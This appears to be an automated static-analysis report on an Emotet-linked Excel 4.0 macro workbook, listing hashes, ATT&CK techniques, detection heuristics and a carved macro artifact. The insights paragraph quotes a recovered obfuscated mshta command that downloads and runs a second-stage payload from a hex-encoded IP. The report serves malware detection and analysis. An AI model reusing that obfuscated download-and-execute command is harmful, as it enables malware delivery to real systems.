Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 21750a942c925484…

MALICIOUS

Office (OLE) / .XLSX

128.9 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 9cebcae891c79194e3c1d821b5985057 SHA-1: c42fdba6f427b5ee5e5e435c53621536756f349e SHA-256: 21750a942c925484d6e4e5fa44b8e8d795dcda94557066150d3f6a03e567d98e
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: Malicious Script

The presence of an Excel 4.0 Auto_Open macro sheet, detected by critical heuristics, indicates malicious intent. The macro reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l' which is designed to download and execute a second-stage payload from the specified URL. This is consistent with Emotet's typical delivery mechanism.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.